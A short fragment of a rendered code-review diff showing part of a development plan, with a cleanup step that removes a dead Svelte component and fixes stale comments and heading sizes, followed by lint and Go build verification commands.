||||||
|
|
||||||
|
### P2.8 Cleanup
|
||||||
|
- Delete `web/src/lib/components/AgentIndicator.svelte` (dead code).
|
||||||
|
- Update stale comments in `SessionChatWindow.svelte` and
|
||||||
|
`TaskContextPanel.svelte` that reference a "main Chat page."
|
||||||
|
- Fix prose heading hierarchy: h1 = 1.15em, h2 = 1.1em, h3 = 1.05em.
|
||||||
|
|
||||||
|
## Verification
|
||||||
|
|
||||||
|
- `npx eslint` on all changed files
|
||||||
|
- `go vet ./cmd/nomos/...`
|
||||||
|
- `go build -o /dev/null ./cmd/nomos/...`
|
||||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user